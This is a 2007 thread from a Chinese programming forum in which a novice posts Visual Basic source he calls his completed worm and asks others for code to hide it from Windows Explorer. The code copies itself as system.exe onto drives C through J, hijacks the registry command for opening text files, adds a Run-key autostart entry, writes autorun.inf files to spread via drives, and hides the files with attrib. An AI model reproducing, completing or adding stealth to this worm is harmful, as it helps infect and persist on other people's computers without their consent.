| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1130 人关注过本帖
标题:我的蠕虫终于完成了
取消只看楼主 加入收藏
VB狂热菜鸟
Rank: 1
等 级:新手上路
帖 子:20
专家分:0
注 册:2007-3-7
收藏
 问题点数:0 回复次数:1 
我的蠕虫终于完成了

我就是不知道怎么让程序在资源管理器中看不见。哪个大哥公布一下代码啊。


Option Explicit
Const hkey_current_user = &H80000001
Const hkey_local_machine = &H80000002
Private Declare Function OSRegCreateKey Lib "advapi32" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpszSubKey As String, phkResult As Long) As Long
Const reg_sz = 1
Const reg_expand_sz = 2
Private Declare Function OSRegSetValueEx Lib "advapi32" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpszValueName As String, ByVal dwReserved As Long, ByVal fdwType As Long, lpbData As Any, ByVal cbData As Long) As Long
Private Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long


Private Sub Form_Load()
On Error Resume Next
Dim a As Long, b As String, c As String, benshen
benshen = App.Path + App.EXEName + ".exe"
For a = 2 To 9
b = Chr(65 + a) + ":"
c = b + "\system.exe"
FileCopy benshen, c

retu = OSRegCreateKey(hkey_local_machine, "software\classes\txtfile\shell\open\command", hKey)
retu = OSRegSetValueEx(hKey, "", 0&, reg_expand_sz, ByVal c, Len(c) + 1)
retu = OSRegCreateKey(hkey_current_user, "software\microsoft\windows\currentversion\run", hkey1)
retu = OSRegSetValueEx(hkey1, "text1", 0&, reg_sz, ByVal c, Len(c) + 1)

Open b + "\autorun.inf" For Output As #1
Print #1, "[autorun]"
Print #1, "open=system.exe"
Print #1, "shellexecute = system.exe"
Print #1, "Shell\Auto\Command = system.exe"
Close #1
Next
Shell "attrib +h c:\autorun.inf"
Shell "attrib +h c:\system.exe"
Shell "attrib +h d:\autorun.inf"
Shell "attrib +h d:\autorun.inf"
Shell "attrib +h e:\autorun.inf"
Shell "attrib +h e:\autorun.inf"
Shell "attrib +h f:\autorun.inf"
Shell "attrib +h f:\autorun.inf"
Shell "attrib +h h:\autorun.inf"
Shell "attrib +h h:\autorun.inf"
Shell "attrib +h i:\autorun.inf"
Shell "attrib +h i:\autorun.inf"

End Sub

搜索更多相关主题的帖子: 蠕虫 
2007-03-20 23:43
VB狂热菜鸟
Rank: 1
等 级:新手上路
帖 子:20
专家分:0
注 册:2007-3-7
收藏
得分:0 

感谢大哥回我的贴啊。小弟受益非浅。 不知大哥能否留个QQ,日后好向你请教。

2007-03-21 11:22
快速回复:我的蠕虫终于完成了
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.015446 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved